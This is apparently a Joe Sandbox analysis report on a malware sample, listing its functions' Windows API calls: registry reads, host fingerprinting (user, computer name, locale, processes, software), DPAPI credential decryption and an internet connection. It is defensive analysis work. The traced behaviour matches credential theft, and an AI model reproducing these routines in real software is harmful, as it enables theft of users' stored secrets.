Opcode ID: df6da7dedf044903e367d3d8a7ae0c03a7d74832a2c3d67e0360b54011cb2cfc
Instruction ID: 7bc2c45b39987af01ac2684a9b0918313f40fb8da876f9e4b9d967da472c28c8
Opcode Fuzzy Hash: df6da7dedf044903e367d3d8a7ae0c03a7d74832a2c3d67e0360b54011cb2cfc
Instruction Fuzzy Hash: 3C011D79A40608BFDB20DFE0DD49FAEB779AB88700F008159FA05E7280DA749A018B90

Uniqueness

Uniqueness Score: -1.00%

Function 00414740 Relevance: 7.5, APIs: 5, Instructions: 38registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000), ref: 00414754
HeapAlloc.KERNEL32(00000000), ref: 0041475B
RegOpenKeyExA.KERNEL32(80000002,02F6AC98,00000000,00020119,00000000), ref: 0041477B
RegQueryValueExA.KERNEL32(00000000,02F8B058,00000000,00000000,000000FF,000000FF), ref: 0041479C
RegCloseKey.ADVAPI32(00000000), ref: 004147A6

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: 3dd853a6faa74efcafe4ce3258c312c5c269cfcf31c2ef5712d88dc1f31cf0da
Instruction ID: 520453153fef2218f7e1f18e9bcc50e310f062f1fe861ea372c3465721436b4a
Opcode Fuzzy Hash: 3dd853a6faa74efcafe4ce3258c312c5c269cfcf31c2ef5712d88dc1f31cf0da
Instruction Fuzzy Hash: 62013C79A40608FFDB20DBE4ED49FAEB779EB88700F108159FA05A6290DB705A018F90

Uniqueness

Uniqueness Score: -1.00%

Function 00414300 Relevance: 7.5, APIs: 5, Instructions: 38registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000), ref: 00414314
HeapAlloc.KERNEL32(00000000), ref: 0041431B
RegOpenKeyExA.KERNEL32(80000002,02F6AAA0,00000000,00020119,00000000), ref: 0041433B
RegQueryValueExA.KERNEL32(00000000,02F8AA08,00000000,00000000,000000FF,000000FF), ref: 0041435C
RegCloseKey.ADVAPI32(00000000), ref: 00414366

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: 423f413abd2b9c08310d568d7ed0a8882adbdfbf2920ff6ae677e6fc83315809
Instruction ID: 8a55c6bb4586fa39bc5dd89715e436abefd5940c4b9bd8db073c1251d6bd8ac1
Opcode Fuzzy Hash: 423f413abd2b9c08310d568d7ed0a8882adbdfbf2920ff6ae677e6fc83315809
Instruction Fuzzy Hash: E3014FB5A40608BFDB20DBE4ED49FAEB77DEB88701F005154FA05E7290DB70AA01CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00406730 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 157COMMON

Download Yara Rule

Strings

Pi@, xrefs: 004067C2, 0040679E, 0040684E, 0040689F, 00406884

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID:
String ID: Pi@
API String ID: 0-1360946908
Opcode ID: 8cfa37973c56b3597612bf0eabde1d0c10c792fef38bbd1cab651f123bbbde38
Instruction ID: 3e1b1374d11ee30af11b8018be346ecc1401931fa3badc01db0dac5c56ce0c6a
Opcode Fuzzy Hash: 8cfa37973c56b3597612bf0eabde1d0c10c792fef38bbd1cab651f123bbbde38
Instruction Fuzzy Hash: 756105B5D00208DBDB14DF94D984BEEB7B0AB48304F1185AAE80677380D739AEA5DF95

Uniqueness

Uniqueness Score: -1.00%

Function 00409970 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(02F848C0,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF,?,?,?,?,?,?,?,?,?,?,?,0040EA16), ref: 0040998D
LoadLibraryA.KERNEL32(02F8AF18,?,?,?,?,?,?,?,?,?,?,?,0040EA16), ref: 00409A16

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416E20: lstrlen.KERNEL32(00000000,?,?,00412BE0,0041D59B,0041D59A,?,?,004137D6,00000000,?,02F66AB8,?,0041D8AC,?,00000000), ref: 00416E2B
Part of subcall function 00416E20: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416E85

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

SetEnvironmentVariableA.KERNEL32(02F848C0,00000000,00000000,?,0041DA4C,?,0040EA16,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0041D6EF), ref: 00409A02

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 00409982, 00409996, 004099AC

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-4027016359
Opcode ID: 42c24c2bd3098d83908933c1c731d208806978308424b3820254a7636444ccc7
Instruction ID: 6647cd3c00128b620a4a232c7fbe97fce3d03bd073b05a107f0d1bf2b4fd60a8
Opcode Fuzzy Hash: 42c24c2bd3098d83908933c1c731d208806978308424b3820254a7636444ccc7
Instruction Fuzzy Hash: 134196B5900A009BDB24DFA4FD85AAE37B6BB44305F01512EF405A72E2DFB89D46CF54

Uniqueness

Uniqueness Score: -1.00%

Function 004065D0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,@:h@,@:h@), ref: 0040668F

Strings

@:h@, xrefs: 00406670, 00406673
:h@, xrefs: 0040660D, 00406629, 00406678, 00406688, 004065F4, 00406618, 00406623
:h@, xrefs: 004065DD, 004065FD, 0040667F

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID: :h@$:h@$@:h@
API String ID: 544645111-3492212131
Opcode ID: 3a0ba57e5e1d9d33aaf5f8e161c54dbb9d0ff39d4d0ab0475c83cdde206519fc
Instruction ID: 05c83ec730d02739dc9afbe7597ff905435882b08ae1c12394b3aafa6fe5c026
Opcode Fuzzy Hash: 3a0ba57e5e1d9d33aaf5f8e161c54dbb9d0ff39d4d0ab0475c83cdde206519fc
Instruction Fuzzy Hash: 272131B4A00208EFDB04CF85C544BAEBBB1FF48304F1185AAD406AB381D3399A91DF85

Uniqueness

Uniqueness Score: -1.00%

Function 0040CEC0 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 00415260: GetSystemTime.KERNEL32(?,02F88120,0041D129,?,?,?,?,?,?,?,?,?,00404623,?,00000014), ref: 00415286

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040CF41
lstrlen.KERNEL32(00000000), ref: 0040D0DF
lstrlen.KERNEL32(00000000), ref: 0040D0F3
DeleteFileA.KERNEL32(00000000), ref: 0040D16C

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: ed03da879d4a21739fe089d692cc796d027ccbe622d41fb6feb10357e7664c72
Instruction ID: 64a31cdf4344fffa4b83296b1621afa9cae3fe45de11617b70f8002e61f1a089
Opcode Fuzzy Hash: ed03da879d4a21739fe089d692cc796d027ccbe622d41fb6feb10357e7664c72
Instruction Fuzzy Hash: 758147769102049BCB14FBA1DC52EEE7739BF54308F51411EF516B6091EF38AA89CBB8

Uniqueness

Uniqueness Score: -1.00%

Function 0040FD10 Relevance: 6.1, APIs: 2, Strings: 1, Instructions: 857stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 004141C0: GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 004141DF
Part of subcall function 004141C0: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041421C
Part of subcall function 004141C0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 004142A0
Part of subcall function 004141C0: HeapAlloc.KERNEL32(00000000), ref: 004142A7

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00414300: GetProcessHeap.KERNEL32(00000000,00000104,00000000), ref: 00414314
Part of subcall function 00414300: HeapAlloc.KERNEL32(00000000), ref: 0041431B
Part of subcall function 00414300: RegOpenKeyExA.KERNEL32(80000002,02F6AAA0,00000000,00020119,00000000), ref: 0041433B
Part of subcall function 00414300: RegQueryValueExA.KERNEL32(00000000,02F8AA08,00000000,00000000,000000FF,000000FF), ref: 0041435C
Part of subcall function 00414300: RegCloseKey.ADVAPI32(00000000), ref: 00414366

Part of subcall function 00414380: GetCurrentProcess.KERNEL32(00000000,?,?,0040FF99,00000000,?,02F8B178,00000000,?,0041D74C,00000000,?,00000000,00000000,?,02F849C0), ref: 0041438F
Part of subcall function 00414380: IsWow64Process.KERNEL32(00000000,?,?,0040FF99,00000000,?,02F8B178,00000000,?,0041D74C,00000000,?,00000000,00000000,?,02F849C0), ref: 00414396

Part of subcall function 004143C0: GetProcessHeap.KERNEL32(00000000,00000104,00401177,02F84890,004136EB,0041D6E3), ref: 004143CD
Part of subcall function 004143C0: HeapAlloc.KERNEL32(00000000), ref: 004143D4
Part of subcall function 004143C0: GetUserNameA.ADVAPI32(?,00000104), ref: 004143EC

Part of subcall function 00414400: GetProcessHeap.KERNEL32(00000000,00000104,004136EB,0041D6E3), ref: 0041440D
Part of subcall function 00414400: HeapAlloc.KERNEL32(00000000), ref: 00414414
Part of subcall function 00414400: GetComputerNameA.KERNEL32(?,00000104), ref: 0041442C

Part of subcall function 00414450: GetProcessHeap.KERNEL32(00000000,00000104,?,0041D748,00000000,?,00000000,0041D2B1), ref: 0041445D
Part of subcall function 00414450: HeapAlloc.KERNEL32(00000000), ref: 00414464
Part of subcall function 00414450: GetLocalTime.KERNEL32(?), ref: 00414471
Part of subcall function 00414450: wsprintfA.USER32 ref: 004144A0

Part of subcall function 004144B0: GetProcessHeap.KERNEL32(00000000,00000104,00000000,00000000,?,02F8AA98,00000000,?,0041D758,00000000,?,00000000,00000000,?,02F8B198,00000000), ref: 004144C0
Part of subcall function 004144B0: HeapAlloc.KERNEL32(00000000), ref: 004144C7
Part of subcall function 004144B0: GetTimeZoneInformation.KERNEL32(?), ref: 004144DA

Part of subcall function 00414530: GetUserDefaultLocaleName.KERNEL32(00000000,00000055,00000000,00000000,?,02F8AA98,00000000,?,0041D758,00000000,?,00000000,00000000,?,02F8B198,00000000), ref: 00414542

Part of subcall function 00414570: GetKeyboardLayoutList.USER32(00000000,00000000,0041D146), ref: 0041459E
Part of subcall function 00414570: LocalAlloc.KERNEL32(00000040,?), ref: 004145B6
Part of subcall function 00414570: GetKeyboardLayoutList.USER32(?,00000000), ref: 004145CA
Part of subcall function 00414570: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 0041461F
Part of subcall function 00414570: LocalFree.KERNEL32(00000000), ref: 004146DF

Part of subcall function 00414710: GetSystemPowerStatus.KERNEL32(00000000), ref: 0041471A

GetCurrentProcessId.KERNEL32(00000000,?,02F8AF98,00000000,?,0041D76C,00000000,?,00000000,00000000,?,02F8AAF8,00000000,?,0041D768,00000000), ref: 0041037E

Part of subcall function 00415B70: OpenProcess.KERNEL32(00000410,00000000,?), ref: 00415B84
Part of subcall function 00415B70: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00415BA5
Part of subcall function 00415B70: CloseHandle.KERNEL32(00000000), ref: 00415BAF

Part of subcall function 00414740: GetProcessHeap.KERNEL32(00000000,00000104,00000000), ref: 00414754
Part of subcall function 00414740: HeapAlloc.KERNEL32(00000000), ref: 0041475B
Part of subcall function 00414740: RegOpenKeyExA.KERNEL32(80000002,02F6AC98,00000000,00020119,00000000), ref: 0041477B
Part of subcall function 00414740: RegQueryValueExA.KERNEL32(00000000,02F8B058,00000000,00000000,000000FF,000000FF), ref: 0041479C
Part of subcall function 00414740: RegCloseKey.ADVAPI32(00000000), ref: 004147A6

Part of subcall function 00414800: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 00414846
Part of subcall function 00414800: GetLastError.KERNEL32 ref: 00414855

Part of subcall function 004147C0: GetSystemInfo.KERNEL32(00000000), ref: 004147CD
Part of subcall function 004147C0: wsprintfA.USER32 ref: 004147E3

Part of subcall function 00414960: GetProcessHeap.KERNEL32(00000000,00000104,?,00000000,00000000,?,02F8AD38,00000000,?,0041D774,00000000,?,00000000,00000000,?,02F8ACC0), ref: 0041496D
Part of subcall function 00414960: HeapAlloc.KERNEL32(00000000), ref: 00414974
Part of subcall function 00414960: GlobalMemoryStatusEx.KERNEL32(00000040), ref: 00414995
Part of subcall function 00414960: __aulldiv.LIBCMT ref: 004149AF
Part of subcall function 00414960: __aulldiv.LIBCMT ref: 004149BD
Part of subcall function 00414960: wsprintfA.USER32 ref: 004149E9

Part of subcall function 00414ED0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00414F1C
Part of subcall function 00414ED0: HeapAlloc.KERNEL32(00000000), ref: 00414F23
Part of subcall function 00414ED0: wsprintfA.USER32 ref: 00414F3D

Part of subcall function 00414AE0: RegOpenKeyExA.KERNEL32(00000000,02F6EFD0,00000000,00020019,00000000,0041D289), ref: 00414B41

Part of subcall function 00414AE0: RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00414BC3
Part of subcall function 00414AE0: wsprintfA.USER32 ref: 00414BF6
Part of subcall function 00414AE0: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00414C18
Part of subcall function 00414AE0: RegCloseKey.ADVAPI32(00000000), ref: 00414C29
Part of subcall function 00414AE0: RegCloseKey.ADVAPI32(00000000), ref: 00414C36

Part of subcall function 00414DE0: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00414E07
Part of subcall function 00414DE0: Process32First.KERNEL32(00000000,00000128), ref: 00414E1B
Part of subcall function 00414DE0: Process32Next.KERNEL32(00000000,00000128), ref: 00414E30
Part of subcall function 00414DE0: CloseHandle.KERNEL32(00000000), ref: 00414E9E

lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,00000000), ref: 0041095B

Part of subcall function 00404DC0: lstrlen.KERNEL32(00000000), ref: 00404E4A
Part of subcall function 00404DC0: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404EBB
Part of subcall function 00404DC0: StrCmpCA.SHLWAPI(?,02F84A10), ref: 00404ED9

Strings

E.A, xrefs: 00410981, 004109AC, 00410984

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: Heap$Process$Alloc$CloseOpen$wsprintf$Namelstrcpy$InformationLocallstrlen$CurrentHandleInfoKeyboardLayoutListLocaleProcess32QueryStatusSystemTimeUserValue__aulldivlstrcat$ComputerCreateDefaultDirectoryEnumErrorFileFirstFreeGlobalInternetLastLogicalMemoryModuleNextPowerProcessorSnapshotToolhelp32VolumeWindowsWow64Zone
String ID: E.A
API String ID: 2827757392-2211245587
Opcode ID: c2dd6795ba042b4f1eeb6c47676dfdfd6269207da31f5d7345298a45c2824332
Instruction ID: c29c4d19e1a1d8256a8b8cfc17993bd3f91cdea4a247a897ffed86f061f16859
Opcode Fuzzy Hash: c2dd6795ba042b4f1eeb6c47676dfdfd6269207da31f5d7345298a45c2824332
Instruction Fuzzy Hash: 9372B076D10118AACB15FB91EC91EDEB73DAF14308F51439FB01662491EF346B89CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 004096C0 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 004093A0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004093CC
Part of subcall function 004093A0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 004093F1
Part of subcall function 004093A0: LocalAlloc.KERNEL32(00000040,?), ref: 00409411
Part of subcall function 004093A0: ReadFile.KERNEL32(000000FF,?,00000000,'@,00000000), ref: 0040943A
Part of subcall function 004093A0: LocalFree.KERNEL32('@), ref: 00409470
Part of subcall function 004093A0: CloseHandle.KERNEL32(000000FF), ref: 0040947A

Part of subcall function 00415530: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00415552

StrStrA.SHLWAPI(00000000,02F8A768), ref: 0040971B

Part of subcall function 004094A0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00404BAE,00000000,00000000), ref: 004094CF
Part of subcall function 004094A0: LocalAlloc.KERNEL32(00000040,?,?,?,00404BAE,00000000,?), ref: 004094E1
Part of subcall function 004094A0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00404BAE,00000000,00000000), ref: 0040950A
Part of subcall function 004094A0: LocalFree.KERNEL32(?,?,?,?,00404BAE,00000000,?), ref: 0040951F

memcmp.MSVCRT ref: 00409774

Part of subcall function 00409540: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00409564
Part of subcall function 00409540: LocalAlloc.KERNEL32(00000040,00000000), ref: 00409583
Part of subcall function 00409540: LocalFree.KERNEL32(?), ref: 004095AF

Strings

, xrefs: 004097A3
DPAPI, xrefs: 0040976B

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpymemcmp
String ID: $DPAPI
API String ID: 1204593910-1819349886
Opcode ID: a90a7e22b8f651f58ad2f45217d160d180620099e275b382c90511fadfa85031
Instruction ID: 25d6f3248392bfa9bca68fd769027b68fff5740b7e0b7820d89104a1b18a6e16
Opcode Fuzzy Hash: a90a7e22b8f651f58ad2f45217d160d180620099e275b382c90511fadfa85031
Instruction Fuzzy Hash: 493141B6D10108EBCF04DF94DC45AEFB7B9AF48704F14452DE905B3292E7389A44CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00414DE0 Relevance: 6.1, APIs: 4, Instructions: 60processCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00414E07
Process32First.KERNEL32(00000000,00000128), ref: 00414E1B
Process32Next.KERNEL32(00000000,00000128), ref: 00414E30

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

CloseHandle.KERNEL32(00000000), ref: 00414E9E

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: 46479fa1dff31d1553307a673ed5531c210884f90894ffa9fa2d91d76bee7172
Instruction ID: b51d58226d22fc07b4aaea4bdcaba1b12d12dab42e387443cd86e66b2ce9f1c4
Opcode Fuzzy Hash: 46479fa1dff31d1553307a673ed5531c210884f90894ffa9fa2d91d76bee7172
Instruction Fuzzy Hash: ED211D759002189BCB24EB61DC95FDEB779AF54304F1041DAA50A66190DF38AFC5CF94

Uniqueness

Uniqueness Score: -1.00%

Function 004159E0 Relevance: 6.0, APIs: 4, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00411879,80000000,00000003,00000000,00000003,00000080,00000000,?,00411879,?), ref: 004159FC
GetFileSizeEx.KERNEL32(000000FF,00411879), ref: 00415A19
CloseHandle.KERNEL32(000000FF), ref: 00415A27

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID:
API String ID: 1378416451-0
Opcode ID: f3a5877fc348a9a64368c001e27037213673241a1fda354ede690d4ee948c5a4
